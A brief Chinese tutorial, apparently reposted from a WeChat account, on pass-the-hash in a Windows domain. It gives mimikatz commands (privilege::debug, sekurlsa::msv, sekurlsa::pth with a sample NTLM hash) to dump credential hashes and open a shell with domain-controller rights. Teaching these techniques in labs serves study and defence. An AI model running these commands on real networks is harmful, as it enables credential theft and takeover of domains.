0X01 简介
文章参考：
无域控权限
运行mimikatz（需管理员权限，实验环境为了方便省去了提权操作）
privilege::debug\提升权限log\日志
如果执行privilege::debug报错，可能是权限问题
sekurlsa::msv//获取信息
sekurlsa::pth /user:Administrator（Username） /domain:test（Domain） /ntlm:e1bd9dcbc5f2e08a21e23f3c890aaff7（NTLM）执行后会弹出一个CMD窗口
新窗口获取域控权限
回复“加群”，获取群号。
侵删！
原文始发于微信公众号（皓月的笔记本）：【知识整理】域渗透之Hash传递（Pass The Hash）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论